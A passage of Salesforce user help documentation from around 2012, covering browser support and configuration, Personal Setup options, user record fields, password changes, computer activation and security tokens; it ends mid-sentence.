Microsoft Internet Explorer 6

Supported plug-in for Internet Explorer 6 only. Google Chrome Frame applies
updates automatically; Salesforce.com supports only the most recent version.

22

Getting Started

Supported Browsers

Browser

Comments
For configuration recommendations, see Installing Google Chrome Frame
for Microsoft Internet Explorer on page 27. Chrome Frame plug-in is not
supported for the Service Cloud console or Forecasts.

Apple Safari version 5.1.x

There are no configuration recommendations for Safari. Safari is not supported


for the Salesforce CRM Call Center CTI Toolkit or the Service Cloud console.

Note: Salesforce.com uses the following domains to deliver content. If your users are allowed general access to the
Internet, there is no required action. If you whitelist domains, you must add these to your list of allowed domains. If
youve disabled third-party cookies (typically enabled by default in all major browsers), you must accept them for
Salesforce to function properly.

*.staticforce.com
*.content.force.com
*.force.com
*.salesforce.com
Important: For all browsers you must enable JavaScript, cookies, and SSL 3.0.
Some third-party Web browser plug-ins and extensions can interfere with the functionality of Chatter. If you experience
malfunctions or inconsistent behavior with Chatter, disable all of the Web browser's plug-ins and extensions and try
again.
Salesforce.com recommends a minimum screen resolution of 1024 x 768 for the best possible user experience. Screen
resolutions smaller than 1024 x 768 may cause issues displaying Salesforce features such as Report Builder and Page
Layout Editor.
Refer to the documentation for those products for specific information. Other requirements can be found in Salesforce
System Requirements.

Feature Support
As of Summer 12, salesforce.com has discontinued support for Internet Explorer 6. Existing features that have previously
worked in this browser may continue to work through 2014. Note these support restrictions.

Internet Explorer 6 is not supported for:

Chatter
Global search
Answers
Cloud Scheduler
The new user interface theme
Quote Template Editor
Service Cloud Console
Forecasts
Chatter Answers
Enhanced profile user interface
Site.com
Schema Builder

23

Getting Started

Supported Browsers

Joined reports
Enhanced dashboard charting options

Internet Explorer 7 is not supported for Site.com and Chatter Messenger.

Certain features in Salesforceas well as some desktop clients, toolkits, and adaptershave their own browser requirements.
For example:

Internet Explorer is the only supported browser for:


Standard mail merge (Chrome Frame plug-in for Internet Explorer isn't supported because the ActiveX controls
required for mail merge are only supported in Internet Explorer.)
Installing Salesforce Mobile on a Windows Mobile device
Connect Offline

Firefox is recommended for the enhanced page layout editor.


Browser requirements also apply for uploading multiple files on Chatter.

See Also:
Tip sheet: Browser Support and Configuration

Configuring Firefox
Available in: All Editions

Salesforce.com makes every effort to test and support the most recent version of Firefox.
Tip: Setting privacy.sanitize.sanitizeOnShutdown to True causes the cache to clear when Firefox shuts down. This
increases privacy, but may decrease performance.
To view the contents of your cache, type about:cache in the Firefox location bar and press Enter.
Refer to MozillaZine Knowledge Base and Firefox Support Home Page for more information on these and other
preferences.
Required Settings
The following settings are required:
1. Click Tools > Options.
2. Enable JavaScript:
a. Go to the Content panel.
b. Select the Enable JavaScript option.
3. Accept cookies:
a.
b.
c.
d.

Go to the Privacy panel.


For the Firefox will option, select Use custom settings for history.
Select the Accept cookies from sites option.
Select the Accept third-party cookies option.

24

Getting Started

Supported Browsers

e. For the Keep until option, select they expire.


4. Set encryption protocols:
a. Go to the Advanced panel.
b. Click the Encryption tab.
c. Select the Use SSL 3.0 option.
5. Click OK.

Advanced Settings
Optionally, configure advanced caching preferences to maximize performance:
1. Type about:config in the browser's location bar, and then press Enter.
2. If a warning displays, click I'll be careful, I promise!.
3. Search for the following preferences and set them to the recommended value by double-clicking the preference name.
Changes take effect immediately.
4. Change how the browser retains common resources across requests by setting the following caching preferences.
Preference

Recommended Value

Default Value

browser.cache.check_doc_frequency

browser.cache.disk.capacity

50,000 or more; increase to use more hard disk


space

50,000

browser.cache.disk.enable

True

True

browser.cache.disk_cache_ssl

True

False

browser.cache.memory.enable

True

True

network.http.use-cache

True

True

Note: You can set some of these preferences by clicking Tools > Options in the Firefox browser. Refer to Firefox
Help for details.

Tip: Setting privacy.sanitize.sanitizeOnShutdown to True causes the cache to clear when Firefox shuts down. This
increases privacy, but may decrease performance.
To view the contents of your cache, type about:cache in the Firefox location bar and press Enter.
Refer to MozillaZine Knowledge Base and Firefox Support Home Page for more information on these and other
preferences.

See Also:
Supported Browsers

25

Getting Started

Supported Browsers

Configuring Internet Explorer


Available in: All Editions

If you use Internet Explorer, Salesforce recommends using the latest version. Apply all Microsoft hotfixes.
To maximize the performance of Internet Explorer, set the following options in the Internet Options dialog box, which you
can open by clicking Tools > Internet Options:
General Tab
1. From the General tab, click Settings under Browsing History.
2. For the Check for newer versions of stored pages option, select Automatically.
3. For the Disk space to use option , enter at least 50 MB.
Security Tab
1. From the Security tab, click Custom Level under Internet and scroll to the Scripting section.
2. Make sure the Active Scripting option is enabled. JavaScript depends on this setting being enabled.
Privacy Tab
1.
2.
3.
4.

From the Privacy tab, click Advanced.


Select the Override automatic cookie handling option.
Select the Always allow session cookies option.
For the Third-party Cookies option, select Accept.

Advanced Tab
From the Advanced tab, scroll to the Security section and do the following:

Do not select the Do not save encrypted pages to disk option.


Select the Use SSL 3.0 option.
Tip: The Empty Temporary Internet Files folder when browser is closed option causes the
cache to clear when Internet Explorer is shut down. This increases privacy, but may decrease performance.

See Also:
Supported Browsers

26

Getting Started

Supported Browsers

Installing Google Chrome Frame for Microsoft Internet Explorer


Available in: All Editions except Database.com

Salesforce supports Google Chrome Frame for Internet Explorer version 6 only. Google Chrome Frame enables Internet
Explorer to utilize features such as the new user interface theme and Chatter.
To install Google Chrome Frame for Internet Explorer:
1.
2.
3.
4.

In the Internet Explorer address bar, go to www.google.com/chromeframe.


Click Get Google Chrome Frame and review the Terms of Service.
Click Accept and Install.
After the installation is complete, click Close and restart Internet Explorer.

Keep in mind, make sure you dont disable Google Chrome Frame in Internet Explorer. Disabling this can result in missing
information on your Web pages.

27

WORKING IN SALESFORCE

PERSONAL SETUP
Personal Setup Overview
The available setup options vary according to which Salesforce Edition you have.

The Personal Setup page, accessed by clicking Your Name > Setup > Personal Setup, contains setup and customization
options to help you personalize the application for your personal use.
The sidebar includes tools for browsing and searching setup options.

My Personal Information
Expand the My Personal Information folder under Personal Setup to access the following options.

Personal InformationEdit your user information, view login history, and more (see Editing Your Personal Information
on page 30).
Change My PasswordChange your password (see Changing Your Password on page 43).
Reset My Security TokenReset the security token that you may need to log into Salesforce from outside your company's
trusted network (see Resetting Your Security Token on page 45).
My GroupsAdd, update, or delete your personal groups (see About Groups on page 589).
Change My DisplayCustomize your display of tabs and related lists (see Customizing Your Display on page 42).
Grant Login AccessAllow salesforce.com Customer Support representatives or your administrator to log in to your
account (see Granting Login Access on page 31).
Calendar SharingAllow other users, personal and public groups, roles, or roles and subordinates to view your calendar
(see Granting Access to Your Calendar on page 48).
RemindersSet your personal preferences for activity reminders (see Setting Reminders on Activities on page 131).
Record Type SelectionSet your preferences for automatic selection of default record types (see Setting Record Type
Preferences on page 49).

Email
Expand the Email folder under Personal Setup to access the following options.

My Email SettingsSet your outbound email settings (see Editing Email Settings on page 47).
My TemplatesCreate and edit your own email templates (see Managing Email Templates on page 472).
My Stay-in-Touch SettingsSet your preferences for emails requesting contact information updates (see Editing
Stay-in-Touch Settings on page 47).

28

Personal Setup

Personal Setup Overview

Import
Expand the Import folder under Personal Setup to access the following options.

Import My Accounts & ContactsImport accounts and contacts that you own (see Import My Contacts on page 809).
Import My Person AccountsImport person accounts that you own. Note that your administrator may have customized
the text of this link.

Desktop Integration
Expand the Desktop Integration folder under Personal Setup to access the following options.

Check for UpdatesSee what desktop client versions you have and install updates (see Checking for Desktop Client
Updates on page 51).
Salesforce for OutlookInstall Salesforce for Outlook to integrate your data with Microsoft Outlook (see Salesforce
for Outlook Overview on page 2693). To download Connect for Outlook, see Force.com Connect for Microsoft Outlook
Overview on page 2723.
Connect for OfficeInstall Connect for Office to integrate your data with Microsoft Word and Excel (see Force.com
Connect for Microsoft Office Overview on page 2781).
Connect OfflineInstall Connect Offline to work remotely when you are not online (see Force.com Connect Offline
Overview on page 2788).
Connect for Lotus NotesDownload the Connect for Lotus Notes integration plug-in (see Force.com Connect for Lotus
Notes Overview on page 2751).

My Chatter Settings
Expand the My Chatter Settings folder under Personal Setup to access the following options.

My Feeds
Automatically follow records you created (see Automatically Following Records You Own on page 2415).
Receive approval request as private Chatter posts (see Enabling or Disabling Approval Request Posts on page 54).

Chatter Email SettingsConfigure when and how frequently you want Chatter to send you emails (see Configuring
Chatter Email Notifications and Digests on page 2459).

Social Accounts and Contacts


Expand the My Social Accounts and Contacts folder under Personal Setup to access the following options.

SettingsConfigure the social networks and services that you want to use to see your accounts', contacts', and leads' social
information, or turn off the Social Accounts and Contacts feature if you don't want to use it (see Configuring Your Social
Accounts and Contacts Settings on page 2881).

Call Center Settings


Expand the Call Center Settings folder under Personal Setup to access the following options.

My SoftPhone SettingsSet your SoftPhone user preferences (see Editing Personal SoftPhone Settings on page 3150).

29

Personal Setup

Editing Your Personal Information

Editing Your Personal Information


The available personal setup options vary according to which Salesforce Edition you have.

To update your personal information, click Your Name > Setup > My Personal Information > Personal Information.
Administrators can edit any users information as described in Editing Users on page 507.
From the personal information page, you can change the following:

Personal InformationTo make changes, click Edit.


See User Fields on page 32 for a list of the user fields.
If you change your email address, a confirmation message will be sent to the new address. You must click the link provided
in that message for the new email address to take effect. This process is to ensure system security.

Change PasswordSee Changing Your Password on page 43.


Approver SettingsSet preference for receiving approval request emails. See Changing Your Approval User Preferences
on page 1848.
Storage SpaceClick View next to the Used Data Space or Used File Space field to see how much storage space
you are using. For information on organization storage limits, see Monitoring Resources on page 752.
QuotasCreate and edit your quotas. See Setting Quotas for Customizable Forecasting on page 514, Adding and Editing
Quotas on page 46 if you use Forecasts (Classic), and Forecasts Quotas Overview on page 2517 if you use the Forecasts
product first released in Winter 12.
Personal GroupsAdd, update, or delete your personal groups. See About Groups on page 589.
Default Sales TeamSet up your default sales team. See Setting Your Default Sales Team on page 2633.
Default Account TeamSet up your default account team. See Setting Up Default Account Teams on page 2477.
Login HistoryAdministrators can view the users last ten successful and failed login attempts.

You also have access to view the following:

Public Group MembershipLists the public groups to which you belong, as determined by your administrator.
Managers in the Role HierarchyLists the users above you in the role hierarchy, as defined by your administrator. See
Managers in the Role Hierarchy on page 32.
TerritoriesLists the territories to which you are assigned. See Managing Users in Territories on page 2650.
Assigned Mobile DevicesLists the mobile device from which you activated Salesforce Mobile for your Salesforce account.
See Managing Mobile Devices on page 1003.
Remote AccessLists the remote access applications that you have granted access to.
Third-Party Account LinksLists the external authentication providers youve granted access to. You can revoke their
access at any time.

See Also:
Personal Setup Overview
Changing Your Default Division

30

Personal Setup

Editing Your Personal Information

Viewing Public Group Membership


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

To view which public groups include you as a member:


1. Click Your Name > Setup > My Personal Information > Personal Information.
2. Scroll down to the Public Group Membership related list, which lists the public groups of which you are a member.
3. To view a group's membership details, click the group name.

See Also:
Editing Your Personal Information

Granting Login Access


Available in: All Editions
Granting administrator access available in: Enterprise, Unlimited, Developer, and Database.com Editions

To assist you, your administrator or a customer support representative may need to log in to the application using your login.
You can grant access to them for a specified duration. For security reasons, the maximum period for granting access is limited
to one year. During the time you have granted access, they can use your login and access your data to help you resolve any
problems.
To grant login access:
1. Choose Your Name > Setup > My Personal Information > Grant Login Access.
2. Set the access expiration date by choosing a value from the picklist.
3. Click Save.
If an administrator, support representative, or publisher makes setup changes using your login, the setup audit trail lists those
changes, including the username of the delegate user who made the changes.
Note: You may be unable to grant access to certain support organizations due to restrictions set up by your administrator
or based on the type of licensing used by a packaged application.

See Also:
Logging In as Another User
Monitoring Setup Changes

31

Personal Setup

Editing Your Personal Information

Managers in the Role Hierarchy


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

The Managers in the Role Hierarchy related list shows all of the users above you in the hierarchy. These users have the same
access to your data as you dothey have access to all data you own or that has been shared with you.
To view this related list, click Your Name > Setup > My Personal Information > Personal Information, and scroll down to
the related list.

See Also:
Overview of Roles

User Fields
The available fields vary according to which Salesforce Edition you have.

A user's personal informationor user detailpage has the following fields, listed in alphabetical order. Some of these fields
may not be visible or editable depending on your permissions or edition.
Field

Description

Accessibility Mode

When selected, enables a user interface mode designed for


visually-impaired users. See Enabling Accessibility Mode on
page 3715.

Active

Administrative checkbox that enables or disables user login


to the service. See Deactivating Users on page 509.

Address

Street address for user. Up to 255 characters are allowed in


this field.

Admin newsletter

Opt in to receive administrator-targeted promotional emails


from salesforce.com. This field is not available if your
organization has disabled your choice to receive emails from
salesforce.com.

Alias

Short name to identify user on list pages, reports, and other


pages where the entire name does not fit. Up to eight
characters are allowed in this field.

Allow Forecasting

Indicates whether the user can use customizable forecasting.


See Enabling Users for Customizable Forecasting on page
1358.

32

Personal Setup

Editing Your Personal Information

Field

Description

Api Token

Indicates whether an API token has ever been reset.


Salesforce.com uses this field to help you troubleshoot issues
related to API tokens if issues should occur.

Call Center

The name of the call center to which this user is assigned. See
Managing Call Center Users on page 3166.

Checkout Enabled

Indicates whether the user is notified by email when his or


her Checkout account is activated and available for login.
You must have Manage Billing permission to enable.

City

City portion of users address. Up to 40 characters are allowed


in this field.

Color-Blind Palette on Charts

Indicates whether the option to set an alternate color palette


for charts has been enabled. The alternate palette has been
optimized for use by color-blind users. For dashboard emails,
the alternate palette is not used.

Community Nickname

Name used to identify this user in a community. Up to 40


alphanumeric characters are allowed; standard users can edit
this field.

Company

Company name where user works. Up to 40 characters are


allowed in this field.

Contact

Name of the associated contact if the user is a partner user.

Country

Country portion of users address. Up to 40 characters are


allowed in this field.

Created By

User who created the user including creation date and time.
(Read only)

Currency

Users default currency for quotas, forecasts, and reports.


Shown only in organizations using multiple currencies. This
must be one of the active currencies for the organization.

Custom Links

Listing of custom links for users as set up by your


administrator.

Data.com User Type

Enables a user to find contact and lead records from Data.com


and add them to Salesforce. Also indicates the type of
Data.com user. Data.com Users get a limited number of
records to add or export per month, and their unused additions
expire at the end of each month. For each Data.com User,
you can see the monthly limit and number of records added
to Salesforce or exported during the month. Data.com List
users share account, contact, and lead record additions from
a pool. You can see the organization's limit, and the number
of records each Data.com List User has added to Salesforce
or exported.

33

Personal Setup

Editing Your Personal Information

Field

Description

Default Currency ISO Code

User's default currency setting for new records. Available only


for organizations that use multiple currencies.

Default Division

Division that is applied, by default, to all new accounts and


leads created by the user, unless he or she explicitly sets a
different division. When users create records related to an
account or other record that already has a division, the new
record is assigned to the existing records division; the default
division is not used.
This setting does not restrict the user from viewing or creating
records in other divisions. Users can change their division at
any time.
Available only in organizations that use divisions to segment
their data.

Delegated Approver

User lookup field used to select a delegate approver for


approval requests. Depending on the approval process settings,
this user can also approve approval requests for the user.

Department

Group that user works for, for example, Customer Support.


Up to 80 characters are allowed in this field.

Development Mode

Enables development mode for creating and editing


Visualforce pages.
This field is only visible to organizations that have Visualforce
enabled..

Disable Auto Subscription For Feeds

Disables automatic feed subscriptions to records owned by a


user. Only available in organizations with Chatter enabled.

Division

Company division to which user belongs for example, PC


Sales Group. Up to 40 characters are allowed in this field.

Email

Email address of user. Must be a valid email address in the


form: jsmith@acme.com. Up to 80 characters are allowed in
this field.

Email Encoding

Character set and encoding for outbound email sent by user


from within Salesforce. ISO-8859-1 represents all Latin
characters and should be used by English-speaking users.
UTF-8 (Unicode) represents all characters for all of the worlds
languages, but is not supported by some older email software.
Shift_JIS, EUC-JP and ISO-2022-JP are useful for
Japanese users.

Employee Number

Identifying number for a user.

End of day

Time of day that user generally stops working. Used to define


the times that display in the users calendar.

34

Personal Setup

Editing Your Personal Information

Field

Description

Fax

Fax number for user.

Federation ID

The value used to identify a user for federated authentication


single sign-on. For more information, see Configuring SAML
Settings for Single Sign-On on page 687. Also used with
identity providers. See About Identity Providers and Service
Providers on page 721

First Name

First name of user, as displayed on the user edit page. Up to


40 characters are allowed in this field.

Force.com Flow User

Grants the ability to run flows. Available in Developer (with


limitations), Enterprise, and Unlimited Editions.
You must have the Manage Force.com Flow permission to
enable.
If the user has the Run Flows permission, you dont need to
enable this field.

Force.com Quick Access Menu

Enables the Force.com quick access menu, which appears in


object list view pages and record detail pages, and provides
shortcuts to customization features for apps and objects.

Information Currency

The default currency for all currency amount fields in the user
record. Available only for organizations that use multiple
currencies.

Knowledge User

Grants access to Salesforce Knowledge. The user's profile


determines whether he or she has access to the Article
Management tab or Articles tab. Available in Professional,
Enterprise, and Unlimited Editions.

Language

The primary language for the user. All text and online help is
displayed in this language. In Professional, Enterprise, and
Unlimited Edition organizations, a users individual Language
setting overrides the organizations Default Language.
Not available in Personal Edition, Contact Manager, or Group
Edition. The organizations Display Language applies
to all users.

Last Login

Date of last login. (Read only)

Last Name

Last name of user, as displayed on the user edit page. Up to


80 characters are allowed in this field.

Locale

Country or geographic region in which user is located.


The Locale setting affects the format of date, date/time, and
number fields, and the calendar. For example, dates in the
English (United States) locale display as 06/30/2000 and as
30/06/2000 in the English (United Kingdom) locale. Times
in the English (United States) locale display using a

35

Personal Setup

Field

Editing Your Personal Information

Description
twelve-hour clock with AM and PM (for example, 2:00 PM),
whereas in the English (United Kingdom) locale, they display
using a twenty-four-hour clock (for example, 14:00).
The Locale setting also affects the first and last name order
on Name fields for users, leads, and contacts. For example,
Bob Johnson in the English (United States) locale displays as
Bob Johnson, whereas the Chinese (China) locale displays the
name as Johnson Bob.
For Personal Edition users, the locale is set at the organization
level via Your Name > Setup > Company Profile > Company
Information. For all other users, their personal locale, available
at Your Name > Setup > My Personal Information >
Personal Information, overrides the organization setting.

Make Setup My Default Landing Page

When this option is enabled, users land in the Setup page


when they log in.

Manager

Lookup field used to select the user's manager. This field:


Establishes a hierarchical relationship, preventing you from
selecting a user that directly or indirectly reports to itself.
Allows Chatter to recommend people and records to follow
based on your organization's reporting structure. For more
information, see People Recommendations Overview on
page 2387 and Record Recommendations Overview on page
2462.
This field is especially useful for creating hierarchical workflow
rules and approval processes without having to create additional
hierarchy fields.
Note: Unlike other hierarchy fields, Salesforce allows
you to inactivate users who are referenced in the
Manager field.

Marketing User

When enabled, the user can create, edit, and delete campaigns,
configure advanced campaign setup, import leads, and update
campaign history via the member import wizards. Available
in Professional, Enterprise, and Unlimited Editions.
To use the campaign import wizards, Marketing Users must
also have the Marketing User profile (or the Import Leads
permission and the Edit permission on campaigns in
Enterprise and Unlimited Edition organizations).
If this option isnt selected, the user can only view campaigns
and advanced campaign setup, edit the Campaign History for
a single lead or contact, and run campaign reports.

36

Personal Setup

Editing Your Personal Information

Field

Description

Mobile

Cellular or mobile phone number. Up to 40 characters are


allowed in this field. This number is used for SMS-based
identity confirmation.
Administrators enable this feature by checking Enable
SMS-based identity confirmation at Your Name >
Setup > Security Controls > Session Settings.
Once enabled, every user sees a screen after logging in that
asks them to register for mobile verification. The user can take
one of the following actions:

Enter a mobile phone number and then have it verified


with a text message.
Skip entering a mobile number now, but get asked again
at their next login.
Completely opt out of mobile verification.

Once a users mobile phone number is verified, Salesforce will


use it to verify the user when necessary, such as when a user
tries to log in from an unknown IP address.
Administrators can also enter users mobile numbers and
pre-verify them. If Enable SMS-based identity
confirmation is set when an Administrator enters a mobile
number for a user, or when a mobile number is set from an
API using the User object, the mobile number is automatically
considered verified. If Enable SMS-based identity
confirmation is not set, the new mobile phone number is
not considered verified. Verified means that Salesforce will
not ask the user to verify a mobile phone number at login, and
that Salesforce will use the number to send the user a
verification code when necessary for SMS-based identity
confirmation.
Mobile User

Allocates one Salesforce Mobile license to the user, granting


the user access to Salesforce Mobile capabilities. The number
of user records with this checkbox enabled cannot exceed the
total number of mobile licenses your organization has.
Available in Professional, Enterprise, and Unlimited Editions.
The Mobile User checkbox is enabled by default for Unlimited
and Developer Edition users. To prevent users from activating
Salesforce on their mobile devices before you are ready to
deploy mobile in your organization, disable the checkbox for
all your users.
If the user has already activated his or her mobile account from
a device, deselecting the Mobile User checkbox revokes the
user's mobile license. The next time the user's device

37

Personal Setup

Field

Editing Your Personal Information

Description
synchronizes with Salesforce, all the Salesforce data is deleted
from the device, and the device is no longer associated with
the user.
For more information, see Salesforce Mobile Overview on
page 942.
Note: The Mobile User checkbox doesn't apply to
Mobile Lite users because they can access Salesforce
from their device without a mobile license.

Mobile Configuration

The mobile configuration assigned to the user. If no mobile


configuration is specified, this field defaults to the mobile
configuration assigned to the user's profile.
This field is only visible to organizations that use Salesforce
to manage mobile configurations. For more information, see
Salesforce Mobile Overview on page 942.

Modified By

User who last changed the user fields, including modification


date and time. (Read only)

Monthly Contact and Lead Limit

If the user's Data.com User Type is Data.com User, the


number of Data.com contact and lead records the user can
add each month.
The default number of records per license is 300, but you can
assign more than that or fewer, up to the organization limit.

Name

Combined first and last name of user, as displayed on the user


detail page.

Newsletter

Opt in to receive user-targeted promotional emails from


salesforce.com. This field is not available if your organization
has disabled your choice to receive emails from salesforce.com.

Offline User

Administrative checkbox that grants the user access to Connect


Offline. Available in Professional, Enterprise, and Unlimited
Editions.

Partner Super User

Denotes whether a partner portal user is a super user. For


details on enabling and assigning partner super user access,
see Enabling Partner Super User Access on page 3491.

Phone

Phone number of user. Up to 40 characters are allowed in this


field.

Profile

Administrative field that specifies the users base-level


permissions to perform different functions within the
application. Additional permissions may be granted to the
user through permission sets.

38

Personal Setup

Editing Your Personal Information

Field

Description

Receive Approval Request Emails

Set preferences for receiving approval request emails. See


Changing Your Approval User Preferences on page 1848.

Receive Salesforce CRM Content Daily Digest

If selected, specifies that a user with a Salesforce CRM


Content User license and Salesforce CRM Content
subscriptions will receive a once-daily email summary if activity
occurs on his or her subscribed content, libraries, tags, or
authors. To receive email, the Receive Salesforce CRM
Content Email Alerts checkbox must also be selected.
Portal users also need the View Content in Portals user
permission.

Receive Salesforce CRM Content Email Alerts

If selected, specifies that a user with a Salesforce CRM


Content User license and Salesforce CRM Content
subscriptions will receive email notifications if activity occurs
on his or her subscribed content, libraries, tags, or authors.
To receive real-time email alerts, select this checkbox and do
not select the Receive Salesforce CRM Content
Daily Digest checkbox. Portal users also need the View
Content in Portals user permission.

Role

Administrative field that specifies position of user within an


organization, for example, Western Region Support Manager.
Roles are selected from a picklist of available roles, which can
be changed by an administrator.
Not available in Personal Edition, Contact Manager, or Group
Edition.

Salesforce CRM Content User

Administrative checkbox that indicates whether a user has


access to use Salesforce CRM Content. Available in
Professional, Enterprise, and Unlimited Editions.

Self-Registered via Customer Portal

When enabled, specifies that the user was created via


self-registration to a Customer Portal. Available in Enterprise
and Unlimited Editions.

Send Apex Warning Emails

If selected, specifies that the user will receive email notification


whenever he or she executes Apex that surpasses more than
50% of allocated governor limits. See the Force.com Apex Code
Developer's Guide for information.
Available in Developer, Enterprise, and Unlimited Editions
only.

Show View State in Development Mode

Enables the View State tab in the development mode footer


forVisualforce pages.
This field is only visible to organizations that have Visualforce
enabled, and Development Mode selected.

39

Personal Setup

Editing Your Personal Information

Field

Description

Site.com Contributor User

Allocates one Site.com Contributor license to the user,


granting the user limited access to Site.com
Studio.Contributors can use Site.com Studio to edit site
content only. See Setting Up Site.com Users on page 2259.
The number of user records with this checkbox enabled can't
exceed the total number of Site.com Contributor licenses your
organization has.
Available in Developer, Enterprise, and Unlimited Editions,
only if Site.com is enabled for your organization.

Site.com Publisher User

Allocates one Site.com Publisher license to the user, granting


the user full access to Site.com Studio. Publishers can build
and style websites, control the layout and functionality of pages
and page elements, and add and edit content. See Setting Up
Site.com Users on page 2259.
The number of user records with this checkbox enabled can't
exceed the total number of Site.com Publisher licenses your
organization has.
Available in Developer, Enterprise, and Unlimited Editions,
only if Site.com is enabled for your organization.

Start of day

Time of day that user generally starts working. Used to define


the times that display in the users calendar.

State/Province

State or province portion of users address. Up to 20 characters


are allowed in this field.

Time Zone

Primary time zone in which user works.


Users in Arizona should select the setting with
America/Phoenix, and users in parts of Indiana that do not
follow Daylight Savings Time should select the setting with
America/Indianapolis.

Title

Job title of user. Up to 80 characters are allowed in this field.

Used Space

Amount of disk storage space the user is using. See Monitoring


Resources on page 752.

User License

Indicates the type of user license. For more information about


user licenses, see Understanding User License Types on page
602.

Username

Administrative field that defines the users login. Up to 80


characters are allowed in this field.

40

Personal Setup

Changing Your Default Division

Field

Description

Zip/Postal Code

Zip code or postal code portion of users address. Up to 20


characters are allowed in this field.

See Also:
Adding a Single User
Adding Multiple Users
Editing Users
Managing Mobile Permissions

Changing Your Default Division


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change your default division:

Manage Users

If your organization uses divisions to segment data, your user information contains a default division. This is the division that
is applied, by default, to all new accounts, leads, and appropriate custom objects you create, unless you explicitly set a different
division during record creation. For records you create that are related to an account or other record that already has a division,
the new record is assigned to the existing records division; the default division is not used.
Your default division setting does not restrict you from viewing or creating records in other divisions. See Overview of Divisions
on page 455 for more information.
To change your default division:
1. Click Your Name > Setup > My Personal Information > Personal Information.
To change the default division of another user, click Your Name > Setup > Manage User > Users, and select the name
of the user. See Transferring Divisions on page 765 to transfer the default division for multiple users.
2.
3.
4.
5.

Click Change next to the Default Division field.


Select a new default division.
Select an option to determine if the records you currently own should be transferred to the new division as well.
Click Save.

See Also:
Transferring Divisions
Changing Your Working Division

41

Personal Setup

Customizing Your Display

Customizing Your Display


Available in: All Editions except for Database.com

Click Your Name > Setup > My Personal Information > Change My Display to change various personal display options.
You can:

Click Customize My Tabs to change which tabs display when you log in, or, if you have multiple apps, to change which
tabs display in each app. By default, you will see the tabs that are set for your profile. Add each tab you want to display,
change the display order if desired, and click Save.
Note: The first tab that displays when you select an app may change if your administrator changes the app's default
landing tab. See Editing App Properties on page 1724.

Select an object from the drop-down list and click Customize My Pages to customize your display.
For your Home tab, customize the dashboard snapshot that displays on the Home tab. Select the dashboard to use and
click Save. The link to customize your Home tab is available only if your administrator has customized your home page
layout to include a dashboard.
See Refreshing Dashboard Data on page 3093 for information on refreshing your dashboard snapshot.
For all other tabs, set which related lists display on your detail pages. To add or remove related lists, select a related list
title, and click the Add or Remove arrow. To change the order of the related lists, select a related list title in the Selected
List box, and click the Up or Down arrow. Click Save when finished.
Note: Your personal related list customization may change if your administrator alters the page layout for a particular
tab. See Managing Page Layouts on page 1276.

You can also access the Customize My Display page via the Customize Page link in the Dashboard section of the Home tab
or on any record detail page.
To customize the folders that display on your Reports tab, see Reports Tab on page 2915.
Note: Users can't remove dashboards from their home tab. Only administrators control whether dashboards appear.

See Also:
Changing Your Home Tab Dashboard
Viewing All Tabs

42

Personal Setup

Viewing All Tabs

Viewing All Tabs


Available in: All Editions except for Database.com

To view all the tabs available to you in Salesforce, click the plus icon (+) next to the main tabs.

Figure 1: Viewing All Tabs in Salesforce


Using this page, you can:

Click any of the tab names to quickly jump to that tab.


If you have multiple apps, use the View drop-down list to see each apps logo and included tabs.
Click Customize My Tabs to change how tabs display on your screen.
Note: If you have Enterprise or Unlimited Edition, your administrator can hide tabs within your organization for
features you do not use. For details, see Creating Custom Apps on page 1719.

See Also:
Customizing Your Display

Changing Your Password


Available in: All Editions

To change your password at any time, click Your Name > Setup > My Personal Information > Change My Password.
Note: If you have the User Single Sign-On permission, only an administrator can reset your password. Please contact
your administrator for assistance. For information about Single Sign-On, see About Single Sign-On on page 671.
When you change your password, if you have not previously selected and answered a security question, you are prompted to
do so. You must answer this question correctly if you ever forget your password and need it to be reset.

Additional Password Considerations


As you enter a new password in the New Password field, a visual indicator provides dynamic feedback on the strength of
that password. When the password matches the minimum requirements for your organization's password policy, the visual
indicator and associated text indicate that the password is acceptable and can now be saved. A tip is displayed to suggest how
to make the password stronger and more difficult to guess.

43

Personal Setup

Changing Your Password

You might have to activate your computer to successfully log in to Salesforce whenever your password is changed or reset, or
when you log in from a computer you have not used to access Salesforce before. Activating your computer allows Salesforce
to verify your identity and prevent unauthorized access. To activate your computer:
1. When prompted on the login page, click the Send Activation Link button. Salesforce sends an activation email to the
email address specified on your Salesforce user record.
2. When you receive the activation email, copy and paste the activation link into your browser.
The activation link included in the email is available for you to copy and paste into your browser up to 24 hours from the
time you clicked the Send Activation Link button. After 24 hours, the activation link expires, and you must repeat the
activation process to log in.

See Also:
Retrieving Forgotten Passwords
Resetting Your Security Token

Activating Your Computer


Password policies available in: All Editions

You might have to activate your computer to successfully log in to Salesforce whenever your password is changed or reset, or
when you log in from a computer you have not used to access Salesforce before. Activating your computer allows Salesforce
to verify your identity and prevent unauthorized access. To activate your computer:
1. When prompted on the login page, click the Send Activation Link button. Salesforce sends an activation email to the
email address specified on your Salesforce user record.
2. When you receive the activation email, copy and paste the activation link into your browser.
The activation link included in the email is available for you to copy and paste into your browser up to 24 hours from the
time you clicked the Send Activation Link button. After 24 hours, the activation link expires, and you must repeat the
activation process to log in.

See Also:
Changing Your Password

Retrieving Forgotten Passwords


Available in: All Editions

Follow these steps if you have forgotten your password:


1. Go to https://login.salesforce.com.

44

Personal Setup

2.
3.
4.
5.
6.

Changing Your Password

Click Forgot your password?.


Enter your username and click Continue. A message is automatically sent to your email address.
Click the link provided in that message, answer your password question, and click Continue.
A temporary password is automatically sent to your email address. Click the link to log in using that temporary password.
When prompted, enter a new password.

You might have to activate your computer to successfully log in to Salesforce whenever your password is changed or reset, or
when you log in from a computer you have not used to access Salesforce before. Activating your computer allows Salesforce
to verify your identity and prevent unauthorized access. To activate your computer:
1. When prompted on the login page, click the Send Activation Link button. Salesforce sends an activation email to the
email address specified on your Salesforce user record.
2. When you receive the activation email, copy and paste the activation link into your browser.
The activation link included in the email is available for you to copy and paste into your browser up to 24 hours from the
time you clicked the Send Activation Link button. After 24 hours, the activation link expires, and you must repeat the
activation process to log in.

See Also:
Resetting Your Security Token

Resetting Your Security Token


Available in: All Editions
Connect for Outlook, Connect Offline, Connect for Office, Connect for Lotus Notes are not available in Database.com

A security token is an automatically generated key that you must add to the end of your password in order to log in to Salesforce
from an untrusted network. For example, if your password is mypassword, and your security token is XXXXXXXXXX, then
you must enter mypasswordXXXXXXXXXX to log in. Security tokens are required whether you log in via the API or a desktop
